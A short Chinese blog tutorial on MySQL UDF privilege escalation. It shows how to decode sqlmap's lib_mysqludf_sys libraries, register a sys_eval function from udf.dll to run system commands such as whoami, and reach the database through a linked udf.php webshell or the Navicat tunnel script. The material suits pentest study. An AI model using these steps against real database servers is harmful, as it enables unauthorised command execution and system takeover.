Mysql提权(二)---UDF提权

零、参考链接

https://www.sqlsec.com/2020/11/mysql.html#toc-heading-10

一、原理

UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。
用户通过自定义函数可以实现在Mysql中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用
利用MYSQL的自定义函数功能将Mysql账号转换为system权限

二、UDF动态链接库的位置

sqlmap根目录/data/udf/mysql

不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下

# 解码 32 位的 Linux 动态链接库
? python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
# 解码 64 位的 Linux 动态链接库
? python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
# 解码 32 位的 Windows 动态链接库
? python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
# 解码 64 位的 Windows 动态链接库
? python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

具体dll的下载链接,可在参考链接中找到

三、UDF提权的条件

1、如果Mysql版本大于5.1,udf.dll放到Mysql安装目录的lib\plugin文件夹下
2、如果Mysql版本小于5.1,在Windows 2003下放于c:\windows\system32目录,在Win2000下,放入C:\winnt\system32目录
3、有Mysql的insert和delete权限,以创建和抛弃函数。一般以root账号为最佳。select * from mysql.user where user=‘test‘
4、拥有可以将udf.dll写入相应目录的权限

四、写入相应的dll过后,执行如下语句

CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.dll‘;
导入成功后查看一下 mysql 函数里面是否新增了 sys_eval:
select * from mysql.func;
select sys_eval(‘whoami‘)
删除自定义函数
drop function sys_eval;

五、如果不能直接连接目标Mysql

1、可以使用:udf.php
https://github.com/echohun/tools/blob/master/大马/udf.php
2、也可以使用Navicat MySQL的隧道功能
传入ntunnel_mysql.php文件,然后使用工具连接即可

Mysql提权(二)---UDF提权

上一篇:将数据库里的http换成https的SQL语句【亲测】有效


下一篇:Mysql提权(三)---MOF提权